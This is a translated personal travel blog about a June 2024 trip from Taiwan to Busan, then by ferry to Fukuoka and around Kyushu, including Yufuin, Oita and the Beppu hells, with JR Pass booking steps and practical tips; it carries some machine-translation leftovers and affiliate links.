  • Outbound: China Airlines Taipei Taoyuan TPE 15:55 -> Busan Gimhae International Airport PUS 18:55
  • Return: China Airlines Fukuoka Airport FUK 21:00 -> Taipei Taoyuan TPE 22:25
  • Round trip includes checked baggage (23kg/piece)

Price: NT$10,480

🛳️ Cruise New Camellia

  • Departure: 18:30 Check-in Busan Port International Passenger Terminal
  • Arrival: 07:30 Hakata Port International Passenger Terminal

Price: Economy/2nd class cabin: shared cabin NT$1,450 per person

🚅 JR Pass Northern Kyushu Rail Pass (5 Days)

Price: NT$3,042

When using the JR Pass in Kyushu this time, you can take the limited express train directly, except for specific reserved seats, all other seats are in the unreserved car (not crowded, seats available).

From Yufuin no Mori Hakata to Yufuin was not available, so I could only reserve a seat on Yufu 1.

Please note that Yufuin no Mori is different from the regular train (Yufu X), so when making a reservation, make sure it is for Yufuin no Mori.

Reservation Method:

You must purchase the JR Pass before making a reservation. Since the only option for travel agency selection is KLOOK, and I was afraid that other agencies might not be able to make reservations (the page says that guests who do not have MCO issued by the above travel agencies should not make any selections. It should be fine), I bought the JR Pass from KLOOK.

1. Go to JR Pass Reservation Homepage:

Scroll down to find “Rail Pass Purchase” -> “Inquiry/Change/Refund”

2. Go to JR Pass Reservation Page :

Select “Register”

Read and agree to the terms, click “Proceed to Next Page”

Enter your email for registration, click “Register”.

Check your email for the temporary password and click the continue link.

1. Select Travel Agency Name: KLOOK

  • Guests who do not have MCO issued by the above travel agencies should not make any selections.

2. KRP Reservation Number/MCO Number

Enter KLOOK to view the JR Pass certificate and copy the following certificate number.

  1. Name

Enter the name on the JR Pass order. According to the instructions, if the voucher is issued by KLOOK, you should enter the first name + last name. So, even though my voucher is written as LI ZXXX CXXX, you should fill in ZXXX CXXX LI here.

  • Please enter the name registered when purchasing the JR Kyushu Rail Pass Online Booking or the name marked on the exchange voucher (eMCO, MCO) issued by the travel agency.
  • For guests using vouchers issued by KLOOK, please enter your name in the order of “first name” and “last name.”
  1. Enter the temporary password in the email.

    1. Enter the password you want to set for logging in.

After setting the password, you can check and reserve train seats on the homepage during the available reservation time (05:30 to 23:00 Japan time); reservations cannot be made outside of this time.

  • Departure date
  • Departure station: Hakata
  • Arrival station: Yufuin

Yufuin no Mori is fully booked, so you can only reserve the regular train Yufu 1, departing at 07:43 and arriving at 10:03.

Continue to the next page to select seat preferences, location, and car.

Enter the start date of using the rail pass.

Enter credit card information to pay the reservation fee (¥1,000 for adults / ¥500 for children per person).

The above is the credit card of the purchaser. When collecting tickets at the counter, you must bring and present the credit card used for payment.

Therefore, please be sure to bring the credit card to collect the tickets ⚠️

Checkout, reservation completed!

Accommodation (10 nights, including 1 night on a cruise)

  • [6/3] Toyoko Inn Busan Station No.1 (1 night) Located right outside Busan Station, it’s convenient for going to Busan Port International Passenger Terminal. Price: NT$1,940 for a twin room for two persons
  • [6/4] New Camellia Ferry (1 night) Price: NT$1,450 per person
  • [6/5] Toyoko Inn Hakata Ekimae (1 night) About a 10-minute walk from Hakata Station. Price: NT$2,911 for a twin room for two persons
  • [6/6, 6/7] Toyoko Inn Oita Ekimae (2 nights) About a 10-minute walk from Oita Station. Price: NT$4,389 for a twin room for two persons
  • [6/8, 6/9] APA Hotel Fukuoka-Watanabedori EXCELLENT (2 nights) About a 5-minute walk from Watanabedori Station. Price: NT$9,311 for a twin room for two persons
  • [6/10, 6/11, 6/12] Toyoko Inn Fukuoka Tenjin (3 nights) About a 10-minute walk from Tenjin Minami Station. Price: NT$7,131 for a twin room for two persons

Total: $14,291, averaging $1,400 per night. This time, finally managed to stay under $1,500 per night, thanks to Toyoko INN!

_Additionally, Toyoko INN members can enjoy benefits such as early check-in at 3 PM, stay 10 nights and get 1 free night, early booking up to six months in advance, 5% discount, and direct check-in with the card… and more.

During my stay at Toyoko INN in Hiroshima, I signed up for membership. Simply inform the front desk during check-in, fill out some information, pay the one-time membership fee of 1,500 Japanese Yen, take a photo on the spot, and you can start using it.

Image

For using Naver Map in Korea, you can plan your itinerary and routes in advance for easy access:

Image

  • I find it more user-friendly than Google Maps for travel maps!
  • Can log in directly with Line

Let’s Go!

Flight Tracker, iPhone Suica usage, Visit Japan pre-entry application… mentioned in previous articles, so no need to elaborate in this one.

Visit Japan has now combined entry and customs into one QR code.

Day 1 Departure

Image

Image

Similar to previous trips abroad, when arriving at Taipei Main Station A1 via Airport MRT, I first handle advance check-in to go through immigration directly at the airport. (For flights eligible for advance check-in and regulations, please refer to the official website).

Initially planned to take the Orange Line to transfer at Sanchong for Airport MRT, but the other advance check-in station for Airport MRT is at A3 New Taipei Industrial Park Station, not Sanchong Station, and there are no direct trains from Sanchong, so I opted to transfer at Taipei Main Station.

  • As before, I place an Airtag in my luggage for easy tracking.

Taoyuan Airport TPE Terminal 1

This time, flying to Busan with China Airlines from Terminal 1.

Image

Upon arrival at the airport, I exchanged currency for Korean Won at the counter. Most ATMs only dispense Japanese Yen, and the airport exchange rate is unfavorable with an additional NT$100 handling fee, so it’s recommended to exchange currency at a bank in advance if time permits.

13:00 Departure

Completed departure procedures around 13:00.

Image

Image

Bought a crispy chicken lunch upon departure from Terminal 1.

Image

Image

Previously, the scenic rest area was closed when passing by, but this time it was open for a visit, although quite small.

Image

Image

Image

As it was still early, I took the opportunity to rest at the free VIP lounge in Terminal 1, which was not crowded at that time.

The fried chicken at the top is marinated and very delicious, but unfortunately this airport doesn’t offer the “Gua Gua Bao”; also found that all the charging outlets here have been removed, only the shells are left, unable to charge.

Inside, there are both bathrooms and toilets, not many in number (estimated about five), very clean and high-end, and the cleaning staff cleans them in a very timely manner.

Boarding starts at 15:20

Boarding is expected to start around 15:20.

The BR terminal at the first terminal requires a transfer by shuttle bus to the boarding gate for the flight to Busan, and there aren’t many people on this flight to Busan! As shown in the picture, estimated to be less than 30 people.

The flight to Busan operated by China Airlines is on a 737-800 medium-sized aircraft, without entertainment screens, Bye Taiwan!

Can only rely on onboard WiFi to access entertainment content, there are quite a few movies! There’s “Rush”! The airplane meal is Three-Cup Chicken Noodles (quite bad), unexpectedly there is a collaboration between China Airlines, Five Tung Blossoms, and Dinotaeng Quokka, and received a short-tailed kangaroo snack.

Fill out the entry card, customs declaration card, and pre-apply for the quarantine QR Code, if not applied, you will need to fill out an additional quarantine card.

Arrived at Gimhae International Airport in Busan, South Korea at 19:05 PUS

The daytime temperature in South Korea is about 20-25 degrees, it may drop below 20 degrees at night; somewhat like the autumn season in Taiwan.

Exiting the airport at 19:20

KKday Busan Pass for Non-Koreans

Around 19:20, went through immigration, picked up luggage, and exited the airport.

At that time, misunderstood the relationship between wowpass and tmoney, thought there were only two cards that combined; my understanding was that wowpass is a cash card that includes value storage, currency exchange, cash withdrawal, and shopping, while tmoney is a transportation card, and wowpass includes tmoney; actually, you only need to buy tmoney and not wowpass, at that time I didn’t figure it out and kept looking for wowpass instead of tmoney, there are no wowpass machines at Gimhae International Airport. Therefore, I first bought a ticket with cash and took the subway all the way to Busan.

From Gimhae Airport to Busan Station, you need to transfer three times on the subway; there weren’t many people getting off, so it wasn’t crowded.

  • If you have a transportation card, you can swipe it directly for entry.
  • The first ticket, Purple Line Busan Gimhae Light Rail, from Airport Station to Sasang Station.
  • Follow the floor signs to the platform.

  • After arriving at Sasang Station on the Purple Line, disembark and move towards the Green Line as indicated.
  • Take Line 2 of the Green Line to Seomyeon Station.
  • Purchase a second ticket to Seomyeon Station.

  • After arriving at Seomyeon Station on the Green Line, disembark and proceed towards the Orange Line platform.
  • Take Line 1 of the Orange Line to Busan Station.

Transferring from the Green Line to the Orange Line does not require entering or exiting the platform. I was not sure if I could buy a ticket to Busan Station on the Green Line at that time, as I did not pay attention. Therefore, I couldn’t exit at Busan Station and needed manual assistance to exit.

Arrived at Busan Station at 20:20

Upon exiting, you will find Dongbang INN Busan Station No. 1 store.

Dongbang INN Busan Station No. 1 store

Store your luggage and go out to find food.

  • Fortunately, the hotel has 100V Taiwan sockets/USB sockets, so no adapter is needed.

Wowpass / Tmoney

In the hotel lobby, there is a Wowpass machine. Scan your passport, follow the instructions, and the machine will dispense a Wowpass+Tmoney combined card.

  • The top part is Wowpass.
  • The chip is Wowpass.
  • Wowpass and Tmoney have separate top-up methods.
  • Wowpass can be topped up through the Wowpass machine, direct top-up in Taiwanese dollars, online credit card top-up, currency exchange, and withdrawal (with a fee).
  • Wowpass has an expiration date, too long without use may result in the loss of funds.
  • The chip part can be used for card payments at merchants.
  • Tmoney can be topped up at convenience stores or subway top-up machines.
  • Currently, you cannot top up Tmoney from Wowpass (officially stated it may be possible in the future).
  • To issue a Wowpass card, you need to top up 5,000 Korean Won, but it seems this step can be skipped, which means a free card issuance?
  • The bottom part is Tmoney, remember to use the bottom part when taking the subway or bus; I failed to use the entire card at first, it seems I was scanning the Wowpass part.

  • Upon receiving the physical card, you can bind it in the Wowpass App.
  • Wowpass App can check the Wowpass balance.
  • Tmoney balance needs to be checked by card sensing (quite special!).
  • As shown in the picture, Wowpass balance is 454 KRW / Tmoney balance is 2,500 KRW.

If you want to know the details of Tmoney top-up and deductions, you need to install another app App (BucaCheck):

  • Also, read the content by card sensing.

If this travelogue is helpful to you, you can enter my invitation code 373TBH87 when registering on Wowpass.

After dinner, go to GS 25 to buy Korean beer and Korean snacks. Kelly is delicious, the one on the right is like spicy strips but not as salty and spicy, suitable for drinking, and the crab-flavored biscuits are average.

Rest, end of the busy Day 1.

Day 2 Haedong Yonggungsa Temple, Haeundae Beach, take the New Mountain Camellia Cruise

Haedong Yonggungsa Temple

Early in the morning, take bus 1001 from Busan Station bus stop to Haedong Yonggungsa Temple; frequent schedules, not many people.

The journey is a bit far, about 1 and a half hours. Korean buses are similar to those in Taiwan, and the drivers drive quite aggressively; normally, people get on at the front and get off at the back, but there are also people who get off at the front and get on at the back.

The opposite of the drop-off point is Skyline Luge Busan.

You can see the sign of Haedong Yonggungsa Temple by walking forward after getting off, turn right and walk up a hill road; the map says it takes 15 minutes to walk, but because it’s a hill road, it probably takes about 30 minutes to walk, or you can take a taxi if you don’t want to walk.

You will pass through a shopping street first, and there is also a place nearby similar to a container market where you can take a rest and eat something. When you enter, you can see a row of 12 zodiac representatives, (Dog) Year of the Dog.

You can see the colorful and distinctive archway of Haidong Longgong Temple as you continue forward.

Be careful as you descend the stairs all the way to the main hall of Haidong Longgong Temple.

You can first go to the left observation platform to overlook the entire temple.

Enter the Daxiong Hall, where you can buy tiles outside to write your wishes on (10,000 KRW).

Haeundae

From the Haidong Longgong Temple bus stop, take the 1001 bus back to Haeundae (about 1 hour).

On that sunny day, there was a sand sculpture exhibition on the beach.

Be careful when going down the stairs. Witnessed a Korean uncle stepping into the air and falling into the sand (fortunately it was the sand).

ㄏ

Haeundae LCT, a landmark in Busan.

HAEUNDAE, clear skies.

Haeundae Beach has lifeguards, marked swimming areas, and water activities available.

Had lunch at a Korean BBQ restaurant near Haeundae, Baegnyeon Sikdang, where the staff grilled the meat for us. Ordered Korean beef sirloin and pork neck, both delicious, along with a stone pot rice dish. Shared between two people.

Also ordered Korean beer and soju to enjoy. (Forgot to try the grilled beer).

  • Price 13.0 means 13 * 1000 = 13,000 KRW
  • Various Korean side dishes, including pickled vegetables, kimchi, and raw marinated crab (probably meant to be eaten raw but too fishy for me)
  • Friendly staff and decent English.

Next to it is the Haeundae Traditional Market, mainly selling local seafood. Bought an ice cream and walked around, then went to another shop selling ice cream croissants and had a matcha ice cream croissant (crispy outside, soft inside, delicious).

After eating, forgot that Haeundae also has a monorail train to ride and you can also visit Haeundae LCT (didn’t check the Busan itinerary carefully at first). Around 14:00, took the 1001 bus back to Busan Station, thinking about where to go next or just explore Busan Station.

Back to Busan Station around 15:00, still a long time before the cruise check-in time at 18:30. Upon returning to Busan, I found that there was nowhere to shop at Busan Station (apparently no department stores or shopping streets, attractions, etc.); I was afraid it was too far to go to Gamcheon Culture Village, so I only found out that a few stops down from Busan Station, you can go to Busan Tower, where there are department stores and shopping streets nearby.

Originally planned to go to Busan Tower but ended up walking too far from the subway station, so I gave up and returned.

KKday Busan | Longtoushan Park Busan Tower Observatory E-Ticket.

To go to Busan Tower, you need to get off at Nampodong Station and take exits 1 or 3 to Gwangbok-ro Fashion Street, then take the escalator up to Longtoushan Park. Be sure not to take a detour up the mountain..

Bought the famous Korean banana milk to drink.

17:00 Head to Busan Port International Passenger Terminal

I wandered around near Busan Station until almost five o’clock, then went to the hotel to pick up my luggage and headed to Busan Port International Passenger Terminal.

Entering the Busan Station lobby (2nd floor), find exit 10, walk along the sky bridge to reach Busan Port International Passenger Terminal (about 15 minutes walk).

Do not walk on the ground-level roads, as there are many large vehicles, which is very dangerous.

The Busan Port Bridge during the day.

The Busan Port International Passenger Terminal (pier) is empty inside, not many people, because there are very few daily flights; apart from flights to Fukuoka Hakata, there are also cruises to Shimonoseki, Tsushima Island, Osaka, Kumamoto, etc.

From the lobby to the 3rd floor for departure, first go to New Camellia to exchange for ferry tickets. (Passport required)

Around 17:30, boarding began, the departure hall is quite large; you can actually wander around, buy food to bring on board to eat.

Things to note:

  • Fukuoka Port cannot use electronic customs clearance, so be sure to fill out the entry card and customs declaration card⚠️
  • You can bring food and water, and you don’t need to put them in your luggage because you don’t need to check them in; you can carry your luggage on board.
  • Only handheld drinks are allowed.
  • The entire departure process is very fast, and the security check is just a formality (all items go through X-ray).

Departure opens at 18:30.

Upon disembarking, the waiting area for the ship is small, with a few duty-free shops and a cafe (the only one selling food). I bought a tuna sandwich to fill my stomach.

I went to the duty-free shop and bought some Korean Toms Gilim almond snacks (classic honey flavor, strawberry chocolate coating, tiramisu flavor) as souvenirs.

After disembarking, you can line up with your luggage. Everyone lines up with their suitcases, getting ready to board the ship.

Probably about 90% of the people are Korean.

You can see Busan Port from the window, and when it’s almost time, everyone will return to their luggage to prepare to board the ship.

It takes about 15-20 minutes to walk from the pier to board the ship.

New Shanshui Tea Flower

Room 430, go up to the 4th floor to room 430 after boarding.

The space is very small, accommodating up to 11 people. This time, it was a family (3 people) + two couples (4 people) + me and my friend (2 people), not fully occupied; It seems that people of the same language and nationality are arranged together (except for one couple from Hong Kong and Macau, the rest are Taiwanese).

  • Small space for each person, very hard pillows, simple mattresses, new sheets, blankets
  • First come, first served, luckily got a slightly larger corner spot
  • There are two outlets (no need for adapters), for charging rotation

Luggage settled around 20:00, the ship will depart around 10:30.

On the 3rd floor, there is a restaurant, a convenience store, and vending machines (all using Japanese yen), selling slippers, toiletries, and sanitary products; the restaurant does not serve meals, so you can only buy instant noodles from the convenience store or microwaveable food from the vending machines; Therefore, it is recommended to bring food from Busan.

Note: Meat products cannot be brought into Japan, any leftovers must be discarded. ⚠️

Luckily, I had a sandwich before boarding, so I wasn’t very hungry, just bought some instant noodles to fill up.

Note: The hot water is not available in the restaurant area, only cold water; you need to go to the soup room near the stern of the ship to get hot water, it took me a while to find it.

Also, be careful when operating the water heater, turn on the switch first, water won’t come out immediately, wait a bit, be careful when using the hot water, make sure to turn it off tightly after use to avoid scalding the next person.

After eating, walk around the deck (you can freely enter and exit, be careful of slippery).

Around 21:00, another cruise to Kanmon Strait (PUKWAN FERRY) will depart first.

Look back at the night view of Busan Port Terminal.

Around 22:30, the ship will start to leave Busan Port, passing by Busan Port Bridge. The night view of the bridge is very beautiful (it will be cold, so stay warm).

The lights in the economy cabins will be turned off at 11:00. After watching the departure, you can almost go back to lie down.

  • Only the special cabins have individual private bathrooms, others are shared.
  • The bathroom is a public bath like in Japan, you need to be naked, there are small partitions for washing; if you are too shy, you won’t bathe.
  • The facilities are quite old, but well-maintained.
  • There are entertainment rooms, KTV.
  • The public areas will not turn off the lights.
  • The internet connection is available at least until after 11:00 when departing (it is said that there may be a short period without internet).
  • When approaching Tsushima Island, you will enter Japan’s territory and need to switch to a Japanese SIM card.
  • There will be a slight rocking motion while sailing, so if you are prone to seasickness, consider taking seasickness medication.

Good night, Busan.

Day 3 Hakata, Yutoku Inari Shrine

Around 5:30 in the morning, arrive at Hakata, the lights in the cabins are turned on; go to the deck to see the peaceful morning of Hakata Port and Hakata Port Tower.

If you have purchased breakfast, you can go to the restaurant to eat. We didn’t, so we slowly freshened up, wandered on the deck, packed up, and prepared to disembark.

Disembarkation will start at 07:30, everyone will queue at the exit of the 3F lobby with their luggage.

Around 08:00, complete entry into Japan, and leave Hakata Port International Terminal

Reminder: Hakata Port does not support electronic customs clearance, so be sure to fill out the entry card and customs declaration card. ⚠️

There is a bus to Hakata Station or Tenjin area as soon as you come out.

  • Although it is inconvenient to take a bus with large luggage, because this is the departure station, there will definitely be seats, and most people also bring luggage, so it is less awkward.
  • There are a few people getting on at the intermediate stops, so it’s not crowded.
  • On weekdays in the morning, there are not many people taking the subway back to Hakata, so it’s not awkward (Kyushu is spacious!)

Around 9:30, after dropping off luggage at the hotel, have a breakfast of Asa no Kaizoku Teishoku at the Hakata Station department store food street to fill your stomach, pick up the JR Pass, and get the ticket for tomorrow morning to Yufuin.

Yutoku Inari Shrine

[_Reference itinerary: KKday [Fukuoka Chartered One-Day Tour] Saga Prefecture, Kyushu, JapanYutoku Inari Shrine, Yanagawa River Cruise, Minami Shimabara Dolphin Watching, Ooarai Shrine’s Torii Gate in the Sea, Takezaki Seafood, Daikousenji TempleFreely choose the attractions you want to visit_](https://www.kkday.com/zh-tw/product/144332?cid=19365&ud1=cb65fd5ab770){:target=”_blank”}

Originally planned to go to Karatsu Castle, after checking the JR limited express schedule, going to Yutoku Inari Shrine is faster and closer, plus the fatigue from yesterday, so decided to change the itinerary.

From Hakata, take a train to Kashima City - Hizen-Kashima Station.

After exiting the station, walk to the left side of the road and wait at bus stop 2 across the street.

The instructions here are different from Google Maps, which told me to walk to Nakamuta Station to wait for the bus, about 500 meters away.

Please note that I went there in June 2024, and the schedule may have changed due to the time.

Yutoku Inari Shrine

After getting off at Yutoku Shrine, walk towards Omotesando.

It seems that there were hardly any people or open shops on Omotesando and the shopping street on weekdays.

Keep walking to the end (about 15 minutes), and you will reach the shrine.

At the entrance of the shrine, there is an elevator behind the glass building. If you don’t want to walk up, you can take the elevator for a fee.

As you walk up, there is a row of wind chimes for prayers. When I was there, there were no people, and as I passed by the wind chimes, a gust of wind made them ring loudly.

Pass through the row of torii gates and beautiful hydrangea flowers. You can also climb up to the Okunoin (about 200 meters, steep and difficult to walk).

After visiting, return to the station and take the JR train back.

After comparing the Meoto Iwa sea gate at Oyashiro and Karatsu Castle, I felt that the Meoto Iwa sea gate was ordinary (after all, I have seen the famous sea gate of Itsukushima Shrine) and the transportation was inconvenient. Therefore, I plan to visit Karatsu.

There was a mistake when changing trains. This small station had no electronic signboards. I got off and saw “Towards Karatsu” written on the platform, so I thought I could change trains there. However, when the time came, the train passed through another platform, and I couldn’t get on in time.

After careful examination, I realized that I needed to check the small box in the bottom right corner of the timetable to find the correct waiting platform. The platforms on weekdays and holidays may not be the same.

Since I missed the train to Karatsu and couldn’t go back to Meoto Iwa sea gate, and considering yesterday’s embarrassment, I decided to go back to the hotel in Hakata to rest.

On the way back, I also discovered something interesting. I was wondering why the trains at the small stations didn’t open their doors (I was in the rear car). Upon closer observation, I found out that at stations without station staff, the train conductor is the station staff. To get off, you need to get off from the first car and pay the fare using the coin slot or swipe your transportation card (similar to buses). If you have a JR Pass, you just need to show it to the driver.

Also, a reminder, if you are at an unmanned JR exit, just walk out with your JR Pass, do not throw it into the ticket recycling box.⚠️

Around 16:00, back to Hakata, hotel

Toyoko Inn Hakata-guchi Ekimae

Note that the washing machine at Toyoko Inn may not have detergent. Please make sure if it is an automatic detergent dispenser machine before washing.⚠️

If not, you need to use coins or buy detergent at the front desk. (30 yen)

After putting the clothes in the washing machine, I went to the underground street of Hakata Station to find food.

I bought a beef bento for dinner, it was great; the tea wine was okay, not much flavor.

I also bought Yakult to drink at night, BRULEE caramel ice cream for dessert (very sweet!), and fried shrimp as a midnight snack (this time I bought the whole fried shrimp, previously bought a fake one in Kumamoto QQ).

Laundry (30 mins), drying (1 hr), rest.

Day 4 Yufuin, Oita

Itinerary reference: KKday Japan Kyushu Fukuoka Oita Day Tour|Dazaifu Tenmangu Shrine・Yufuin・Beppu Jigoku & Kamado Jigoku|Departure from Hakata (Chinese, English, Japanese)

Early in the morning, checked out and headed to JR Hakata Station to take the Yufu 1 to Yufuin.

  • Luggage can be placed in the luggage compartment, if worried about sliding, place it horizontally.
  • A cup of coffee to wake up
  • The greenery this season along the way was not particularly scenic (or only the forest of Yufuin has a view?)

Upon arrival at Yufuin Station, immediately turn right and go to the Coin Lockers to store luggage, as there are fewer spaces for luggage due to the luggage size. (1,000 yen)

Possibly due to the season and weather, it felt overall gray and green, without any special feeling when I went.

Walking along the street, you will reach Kinrinko Lake, a green lakeside exuding a hint of tranquility.

Lake Kinrinko is very clean and clear, with many maple leaves (not yet changed color) by the lake.

The street from Yufuin Station all the way to Lake Kinrinko is full of IP and cultural and creative small shops to explore. If you are interested in food, you can also check out the award-winning desserts in Yufuin, such as pudding, ice cream, and more.

Of course, you can also see the Totoro Forest, Ghibli Shop, and the “Kyushu specialty” Kumamon everywhere.

The Showa Museum in Yufuin has a very traditional Japanese feel.

The Flower Village seemed too touristy and crowded, so I didn’t go in specifically.

On the way, I bought the famous pudding taiyaki and some souvenirs (sesame powder, Yufuin Brick Factory - Shichifuku, cultural and creative items, Yufuin incense…).

Side note: Can you believe I ran into a colleague in this paradise of Yufuin XD - Pinkoi Community Sister

For lunch, we originally planned to eat the famous Yufu Mabushi, a Yufuin kamameshi dish. There are two locations, one at the main store near Lake Kinrinko and one at the station exit. The one at the station exit was closed that day, and we were too lazy to walk back to the main store, so we ended up eating at Sushi Minamoto on the 1st floor.

I had the Bungo beef steak, and my friend had the rice bowl; the beef was delicious, very fragrant, juicy, and not too gamey, and the price was reasonable.

After eating, we strolled around until around 15:00 and then took a car to continue to Oita.

There are quite a few trips from Yufuin to Oita, and there are fewer people (maybe more people are returning to Hakata?). There are also local trains. This time we took the local train directly and practiced the new Japanese I learned:

1
+2
+
この電車は大分に行きますか。
+はい、大分に行きます。
+

16:20 Oita

I happened to encounter an art installation at Oita Station (it even makes sounds).

Oita gives off a quiet atmosphere, away from the hustle and bustle. When wandering in the city area, it feels unusually quiet, with only the faint sound of car engines, and not many people or car noises.

First, drop off your luggage at the hotel. The layout of Toyoko INN is similar, and I happened to get a room with the same layout and angle as the one in front of Hakata Station yesterday, but the difference is that the bathroom here is bigger and the hallway is smaller.

It’s still early, so I thought about taking a walk around the area and casually opened Google Maps to see nearby attractions.

Giant Bougainvillea

On the way to Oita Castle Ruins, there is a huge bougainvillea at the park’s parking lot (looks like some curse from Jujutsu Kaisen).

Oita Castle Ruins

Oita Castle Ruins only have moats, walls, and gardens left. Inside is an open parking lot and a platform for the castle tower, where you can overlook Oita City.

The official AR App allows you to see what Oita Castle looked like before.

Strolling back to the station market for food, Oita’s buses have a nostalgic feel but are well-maintained.

Not sure what to have for dinner, so I randomly bought a pork cutlet rice bowl and a non-alcoholic Suntory sparkling drink (delicious!); the Japanese sauce packets are thoughtfully designed with a small corner for easy opening.

For supper, there was strawberry smoothie ice cream, barbecue, and limited edition Kirin pineapple liquor (enough pineapple flavor, a bit sweet).

Day 5 Beppu Hells, Beppu

Itinerary reference:

KKday Beppu Yufuin Day Tour Nishi Ryoji + Beppu Hells + Yufuin (Departing from Fukuoka)

Kyushu Beppu Hell Hot Spring Tour | Regular Ticket / Presale Ticket | Buy Now

It only takes about 15 minutes by JR Limited Express from Oita Station to Beppu Station, and the scenery along the way is somewhat similar to the feeling of Hiroshima to Onomichi.

Heading to Beppu Hell by taking a bus from JR - the first one is Sea Hell, the order can be referred to the itinerary in the picture.

  • I want to visit all 7 hells, it’s cheaper to buy a whole set of 7 tickets at the entrance of Sea Hell
  • If time is limited, I think you can just go to Sea Hell
  • Just tear off a corner of the ticket and put it in the box for entry
  • Each hell has a free foot bath area for resting

Sea Hell

Sea Hell is the most spectacular in my opinion, with constantly churning steam and deep blue spring water.

There is a platform and a small shrine behind.

The small blood pond on the other side is quite unique.

After leaving Sea Hell, follow the signs to reach the next Oniishibozu Hell.

Oniishibozu Hell

Mainly a mud geyser hell.

There are signs pointing to the next hell when you come out.

Kamado Jigoku

The milk pond in Kamado Jigoku feels great to soak in.

But the feature of Kamado Jigoku is not spring water, it’s smoke. The staff will use incense and blow air towards the hot spring steam to produce a lot of smoke, which is quite interesting (according to the explanation, it’s because the particles of incense will attract more water vapor molecules causing aggregation).

Another feature of Kamado Jigoku is the row of hot spring experiences, such as rock bath, drinking salty thick hot spring water, foot bath, steaming face, hands, and throat (similar to a pediatrician in Taiwan XD).

The space here is larger, with more experiences available, and the shops also sell some food, so you can take a break here.

You can see a sign pointing to Oniyama Hell when you come out.

Oniyama Hell

The boiling water in Oniyama Hell is more intense, constantly surging out.

The other side of the park is the crocodile park.

Coming out and following the instructions will lead you to Shiraike Jigoku.

You will pass by the Jigoku Onsen Museum (cafe) where you can take a break.

Shiraike Jigoku

Shiraike Jigoku is relatively unremarkable, with a small tropical fish aquarium.

The remaining Blood Pond Jigoku and Tornado Jigoku are not in this area and require taking a bus to reach.

Coming out of Shiraike Jigoku, walk down to the intersection and turn left, then head to the waiting area at Iron Wheel Station No. 2.

Blood Pond Jigoku

First, visit Blood Pond Jigoku, a larger version of the small blood pond in Umi Jigoku.

Walking down will lead you to Tornado Jigoku.

Tornado Jigoku

Tornado Jigoku is a geyser that erupts intermittently, about every 30-40 minutes, lasting 6-10 minutes each time. You can inquire with the staff at Tornado for the eruption schedule (we were informed by the staff), if it’s about to erupt, you can watch it first, otherwise, head to Blood Pond Jigoku.

The smoke during the eruption forms a tornado, hence the name.

Gokuraku Pavilion

Lunch can be enjoyed directly at the Gokuraku Pavilion in Blood Pond Jigoku.

Try the famous Hell Gokuraku Curry, with Japanese-style rice topped with thick curry (mildly spicy), grilled vegetables, and chicken, it’s delicious and refreshing without being greasy.

After eating, check out nearby attractions such as Kibune Castle, Cross Mountain Observatory, Me-tan Jigoku, Yunohana…

Kibune Castle

On the way back to Iron Wheel 2 Bus Station, consider visiting Kibune Castle. The castle is small, but the view from the lookout is nice. However, it’s quite tiring to walk uphill from the bus station.

The Cross Mountain Observatory, Me-tan Jigoku, and Yunohana are actually further up from Umi Jigoku; if you plan your itinerary again, you should visit these attractions first before heading down to Umi Jigoku, then proceed all the way to Blood Pond Jigoku and Tornado Jigoku, or vice versa starting with Blood Pond and Tornado.

Cross Mountain Observatory

Return the translated text:


Boarded the bus again to cross the sea of hell, heading to the Cross Mountain Observatory in Beppu City; the sun was scorching hot, and the observatory only had restrooms, no shops or resting areas.

The lush greenery on the opposite side of the entrance was very beautiful.

Image 1

Image 2

Image 3

Image 4

Since it was a night view, there wasn’t much to see in the morning, just the scorching sun.

Alum Hell

Image 1

Image 2

Descending back to Alum Hell, the ticket counter is across from Okamotoya Pudding Shop, just ask the staff to go across.

Image 1

Image 2

Image 3

You can taste a steamed pudding from hell before leaving.

Image 1

Image 2

Image 3

The Yunohana Cottage is used to dry and crystallize hot springs, and going up to the Yunohana Shop, you can buy hot spring bath salts.

Yunohana Cottage

Image 1

Image 2

Image 3

Image 4

Image 5

Bought some bath salts, face masks, and lotion as souvenirs at the Yunohana Shop.

Also, they offer Private Bath for those who are shy to go to public baths.

Around 4:00 PM, getting ready to take the bus back to the city.

Beppu

Image 1

Image 2

Image 3

After returning to Beppu Station, walk to Beppu Tower, and explore the area on the way. (Front statue, old hot spring pavilion, and O-Tengu)

Beppu Tower

Image 1

Image 2

Image 3

Buy tickets from the vending machine on the first floor of Beppu Tower, take the elevator up, and enjoy the cityscape of Beppu’s coastal area.

Viewing the streets and cars from above is very soothing.

Image 1

There is a meteorite exhibition inside the tower.

In addition to the Beppu Tower, you can also take a cable car or visit the new Beppu - Tower of the World.

The Beppu Tourism Bureau website also provides other itinerary references :

Beppu Tourism Bureau website

Beppu Tourism Bureau website

Return to the hotel to rest.

Rest at the hotel

After resting at the hotel, go to the Oita Station market to buy dinner, pork cutlet bento, and Oita limited fruit wine (refreshing and not too sweet).

Dinner

Dessert

Desserts/late-night snacks include fried shrimp, instant noodles, white peach ice cream, and jasmine tea (I don’t like jasmine tea).

Day 6 Shimonoseki, Karatsu

[_KKday itinerary reference: Japan Fukuoka Kitakyushu chartered one-day tourDazaifu Tenmangu Shrine, Moji Port, Karato Market, Kanmon Straits, Akama Shrine_](https://www.kkday.com/en/product/157874?cid=19365&ud1=d78e0b15a08a){:target=”_blank”}

Start from Oita to Kokura, then go to Moji Port, Shimonoseki. Shimonoseki and Karatsu are about 140 kilometers apart, and normal people wouldn’t plan this itinerary; because on the first day in Japan, I took the wrong train and missed Karatsu, so I really wanted to visit this place, hence the determined one-day trip to Karatsu.

Woke up late, around 8:40 from Oita took the JR Limited Express to Kokura, planning to leave luggage in Kokura and then take a branch line to Moji Port.

Train to Kokura

It started drizzling in Oita, and I realized it has rained in every city I’ve visited. (Rain god confirmed)

Around 10 o’clock arrived at Kokura Station, wandered around for a while, all the self-service cloakrooms were full (a friend said there were spots at 9 o’clock), the manned cloakroom opens at 11 o’clock, so I had to carry my luggage and go directly to Moji Port to check there.

Kokura Station

Moji Port

Moji Port

After exiting Moji Port Station, turn left (no need to leave the building), there are self-service Coin Lockers, quite crowded this time, all full; fortunately, the manned luggage counter has started operating, successfully checked luggage (but the manned counter only operates until 8 pm! ⚠️).

Moji Port

Moji Port

I was thinking of having some Moji curry bread, last year there was no queue, enjoyed it without waiting, but upon exiting the station, I saw a long queue and gave up, turned right to Moji Port Bus Station to wait for the bus to Shimonoseki.

Shimonoseki

Shimonoseki

Shimonoseki

Got off at the underground pedestrian walkway at Shimonoseki Station, this time looking at the Kanmon Bridge from a different angle, the view on the right is from the Moji Port Retro Observatory.

Here is the translated content:

